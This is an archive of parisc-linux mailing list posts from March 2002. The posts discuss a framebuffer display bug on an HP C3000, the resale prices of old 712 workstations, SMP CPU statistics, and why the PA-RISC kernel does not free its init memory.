From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FB on c3k
Date: Wed,  6 Mar 2002 01:01:01 -0700 (MST)
Lines: 50
Approved: news@gmane.org
Message-ID: <20020306080101.B6A874859@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621125 4104 80.91.229.3 (22 Nov 2014 01:52:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 01:01:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id B6A874859; Wed,  6 Mar 2002 01:01:01 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14236

Getting closer.

I'm comfortable that FB ioctl wrappers are ok with an updated
version of the ioctl32.c patch (ftp.p-l.o:patches/fb_ioctl.diff).
"fbset -v -i" on c3k (64-bit kernel, PDC 4.6, Vis-EG/PCI) reports:

Linux Frame Buffer Device Configuration Version 2.1 (23/06/1999)
(C) Copyright 1995-1999 by Geert Uytterhoeven

Opening frame buffer device `/dev/fb0'
Using current video mode from `/dev/fb0'

mode "1280x1024"
    geometry 1280 1024 1280 1024 8
    timings 0 0 0 0 0 0 0
    rgba 8/0,8/0,8/0,0/0
endmode

Getting further frame buffer information
Frame buffer device information:
    Name        : 
    Address     : 0xfb000000
    Size        : 33554432
    Type        : PACKED PIXELS
    Visual      : PSEUDOCOLOR
    XPanStep    : 0
    YPanStep    : 0
    YWrapStep   : 0
    LineLength  : 2048
    MMIO Address: 0xfa100000
    MMIO Size   : 4194304
    Accelerator : No


But when I try to "fbi foo.jpg", I get diagonal black "lines" from
top left to bottom right striped about 3-4 pixels wide and spaced about
12-16 pixels apart (all just guesses). Tux does show up in the top
left corner at boot and stays there. System seems to lock up.
TOC doesn't work. Power off occurs 20-30 seconds after hitting power
button.

I suspect some parameter isn't right for FB device definition
but don't know what. Hoping the diagonal lines are the clue
that someone could tell me about - some sort of "off-by-one"
type of error.

thanks,
grant



From - Thu Nov 08 21:21:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] OT: value of a 712/100
Date: Wed, 06 Mar 2002 10:08:33 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <003f01c1c520$c99b2d60$02c1a8c0@james.co.uk>
References: <sc84c875.096@mail.santa-clarita.com>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621126 4109 80.91.229.3 (22 Nov 2014 01:52:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 08:08:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39C12482D
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Mar 2002 08:08:39 -0700 (MST)
Original-Received: from kenny (pcp944901pcs.cstltn01.in.comcast.net [68.58.113.28])
 by mtaout02.icomcast.net (iPlanet Messaging Server 5.1 (built Feb  6 2002))
 with SMTP id <0GSK00C1R4QBUE@mtaout02.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Wed, 06 Mar 2002 10:08:35 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14237

i've got 5 712/60's now - got the 1st one for $25 with 1Gb/96Mb

the shop i got it from had 120 of them - the guy didnt know what they were &
i knew was that they 'might run linux' :)

once i had mastered the remote boot part & installed my 1st machine, i
offered to show the guy how to 'linux em up'

i got the other 4 machines for my time :)

interesting part was - when i was showing the guy how to set it up, somebody
came in the shop & asked what he was wanting for one ..... the price had
went up to $50

so it looks like the price doubling theory is holding true...

this is the best non x86 linux port i've installed - its the first one that
actually feels like it belongs on the machine rather than having shoe horned
it into a machine that doesnt seem to want it, if you see what i mean :)




James s







From - Thu Nov 08 21:21:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] OT: value of a 712/100
Date: Wed, 6 Mar 2002 16:10:38 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20020306151038.GM787@charite.de>
References: <sc84c875.096@mail.santa-clarita.com> <003f01c1c520$c99b2d60$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621126 4111 80.91.229.3 (22 Nov 2014 01:52:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James S <smithjames@comcast.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 08:10:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id C5E74485A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Mar 2002 08:10:40 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 8576F15C037; Wed,  6 Mar 2002 16:10:39 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with SMTP
	id 3780415C039; Wed,  6 Mar 2002 16:10:39 +0100 (CET)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 0F98815C037; Wed,  6 Mar 2002 16:10:39 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id D6B22633B6; Wed,  6 Mar 2002 16:10:38 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <003f01c1c520$c99b2d60$02c1a8c0@james.co.uk>
User-Agent: Mutt/1.3.25i
X-Virus-Scanned: by AMaViS snapshot-20020220
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14238

On Wed, Mar 06, 2002 at 10:08:33AM -0500, James S wrote:

> interesting part was - when i was showing the guy how to set it up, somebody
> came in the shop & asked what he was wanting for one ..... the price had
> went up to $50

No imagine how much the guy could take if he'd bundle the CD with the
boxes!

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Ah, young webmaster... java leads to shockwave. Shockwave leads to
realaudio. And realaudio leads to suffering. 




From - Thu Nov 08 21:21:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP support
Date: Wed, 6 Mar 2002 09:10:31 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <02030609103100.00899@localhost.localdomain>
References: <Pine.LNX.4.33L2.0203051434270.6941-100000@eiger.apptechsys.com> <20020306010541.A8BB84853@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621126 4115 80.91.229.3 (22 Nov 2014 01:52:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:06 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 08:12:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflashcom (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4745F4860
	for <parisc-linux@parisc-linux.org>; Wed,  6 Mar 2002 08:12:03 -0700 (MST)
Original-Received: from localhost.localdomain (ppp61.cc1.pflash.com [63.121.24.63]) by vopserver.pflashcom
 (Vircom SMTPRS 1.1.219) with SMTP id <B0010835135@vopserver.pflashcom> for <parisc-linux@parisc-linux.org>;
 Wed, 6 Mar 2002 09:04:36 -0600
X-Mailer: KMail [version 1.2]
In-Reply-To: <20020306010541.A8BB84853@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14239

On Tuesday 05 March 2002 07:05 pm, Grant Grundler wrote:
> Jeremy Drake wrote:
> > I am running debian-hppa on a J5000, and I am using the 2.4.17-32-smp
> > kernel.  It detects both processors at boot, and shows them both in
> > /proc/cpuinfo, but /proc/stat shows this
> >
> > cpu  599904 33379482 34656795 68636319
> > cpu0 0 0 64 68636186
> > cpu1 599904 33379482 34656731 133
> >
Folks, 
for comparison: (2.4.17 on an x86 smp-box)

cpu  2867 96 1822 231717
cpu0 1400 37 671 116143
cpu1 1467 59 1151 115574

Mike



From - Thu Nov 08 21:21:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] not freeing initmem?
Date: Wed, 6 Mar 2002 16:19:13 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20020306151913.GO787@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621126 4117 80.91.229.3 (22 Nov 2014 01:52:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 08:19:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06DA64864
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Mar 2002 08:19:14 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with ESMTP id D413715C016
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Mar 2002 16:19:13 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with SMTP id 7A08B15C024
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Mar 2002 16:19:13 +0100 (CET)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 6C6C115C016
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Mar 2002 16:19:13 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 6C92F633B6; Wed,  6 Mar 2002 16:19:13 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.3.25i
X-Virus-Scanned: by AMaViS snapshot-20020220
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14240

>From my dmesg output of the recent 2.4.18-pa3:

...
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
NOT FREEING INITMEM (351k)
Adding Swap: 124800k swap-space (priority -1)
EXT3 FS 2.4-0.9.17, 10 Jan 2002 on sd(8,3), internal journal
...

What does that mean? Why is the memory not freed on PA-RISC, but freed
on x86?

On my x86 box:

...
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 224k freed
EXT3 FS 2.4-0.9.17, 10 Jan 2002 on ide0(3,2), internal journal
Real Time Clock Driver v1.10e
...
-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
C is quirky, flawed, and an enormous success. -- Dennis M. Ritchie.




From - Thu Nov 08 21:21:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem?
Date: Wed, 6 Mar 2002 16:24:35 +0100
Organization: SAP AG - LinuxLab & Unix Platforms
Lines: 37
Approved: news@gmane.org
Message-ID: <E16idHP-0003pp-00@linuxlab.wdf.sap-ag.de>
References: <20020306151913.GO787@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621127 4121 80.91.229.3 (22 Nov 2014 01:52:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:07 +0000 (UTC)
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 08:24:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id A10324868
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Mar 2002 08:24:37 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id QAA15664;
  Wed, 6 Mar 2002 16:28:52 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <20020306151913.GO787@charite.de>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook.
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14241

There is still one or more __init 's too much somewhere. 
If we would free the memory without fixing/finding this place first, 
the kernel will crash.

Helge

On Wednesday 06 March 2002 16:19, Ralf Hildebrandt wrote:
> From my dmesg output of the recent 2.4.18-pa3:
>
> ...
> EXT3-fs: mounted filesystem with ordered data mode.
> VFS: Mounted root (ext3 filesystem) readonly.
> NOT FREEING INITMEM (351k)
> Adding Swap: 124800k swap-space (priority -1)
> EXT3 FS 2.4-0.9.17, 10 Jan 2002 on sd(8,3), internal journal
> ...
>
> What does that mean? Why is the memory not freed on PA-RISC, but freed
> on x86?
>
> On my x86 box:
>
> ...
> EXT3-fs: mounted filesystem with ordered data mode.
> VFS: Mounted root (ext3 filesystem) readonly.
> Freeing unused kernel memory: 224k freed
> EXT3 FS 2.4-0.9.17, 10 Jan 2002 on ide0(3,2), internal journal
> Real Time Clock Driver v1.10e
> ...

-- 
Helge Deller
SAP AG - LinuxLab and Unix Platforms
email: helge.deller@sap.com
Phone: +49 6227 7 - 67783



From - Thu Nov 08 21:21:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem?
Date: Wed, 6 Mar 2002 16:27:39 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20020306152739.GQ787@charite.de>
References: <20020306151913.GO787@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621127 4124 80.91.229.3 (22 Nov 2014 01:52:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 08:27:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6FE28486C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Mar 2002 08:27:41 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 5C48515C024; Wed,  6 Mar 2002 16:27:40 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with SMTP
	id 0EEBC15C02D; Wed,  6 Mar 2002 16:27:40 +0100 (CET)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 01B5A15C024; Wed,  6 Mar 2002 16:27:40 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id F1879633B6; Wed,  6 Mar 2002 16:27:39 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20020306151913.GO787@charite.de>
User-Agent: Mutt/1.3.25i
X-Virus-Scanned: by AMaViS snapshot-20020220
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14242

Am 06.03.2002 um 16:19:13 +0100 schrieb Ralf Hildebrandt folgendes:

> What does that mean? Why is the memory not freed on PA-RISC, but freed
> on x86?

OK, I grepped for that string and found the infamous FIXME:

/* FIXME: */
        printk(KERN_INFO "NOT FREEING INITMEM (%dk)\n",
                        (&__init_end - &__init_begin) >> 10);
        return;			

OTOH, why does the code below that not work for PA-RISC?
>From my naive understanding wouldn't the code in
./arch/sparc/mm/init.c be a good start?

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
"All programmers are playwrights and all computers are lousy actors."  -Anon.




From - Thu Nov 08 21:21:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem?
Date: Wed, 6 Mar 2002 16:45:59 +0000 (GMT)
Lines: 9
Approved: news@gmane.org
Message-ID: <E16ieYB-0007Ml-00@the-village.bc.nu>
References: <E16idHP-0003pp-00@linuxlab.wdf.sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621127 4128 80.91.229.3 (22 Nov 2014 01:52:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:07 +0000 (UTC)
Cc: Ralf.Hildebrandt@charite.de (Ralf Hildebrandt),
	parisc-linux@lists.parisc-linux.org
To: helge.deller@sap.com (Helge Deller)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 09:30:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9EB104831
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Mar 2002 09:30:43 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.33 #5)
	id 16ieYB-0007Ml-00; Wed, 06 Mar 2002 16:45:59 +0000
In-Reply-To: <E16idHP-0003pp-00@linuxlab.wdf.sap-ag.de> from "Helge Deller" at Mar 06, 2002 04:24:35 PM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14243

> There is still one or more __init 's too much somewhere. 
> If we would free the memory without fixing/finding this place first, 
> the kernel will crash.

Disable interrupts, memset all the freed pages to an invalid instruction in
parisc asm at the point you free the init pages, then re-enable ints and
the traceback should give you a direct stack trace to the offender



From - Thu Nov 08 21:21:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB on c3k
Date: Wed, 06 Mar 2002 09:46:03 -0700
Lines: 54
Approved: news@gmane.org
Message-ID: <20020306164603.D7DED4845@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0203061421250.17588-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621128 4130 80.91.229.3 (22 Nov 2014 01:52:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 09:46:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D7DED4845; Wed,  6 Mar 2002 09:46:03 -0700 (MST)
In-Reply-To: Message from "M. Grabert" <xam@cs.ucc.ie> 
   of "Wed, 06 Mar 2002 15:41:21 GMT." <Pine.LNX.4.44.0203061421250.17588-100000@sal.ucc.ie> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
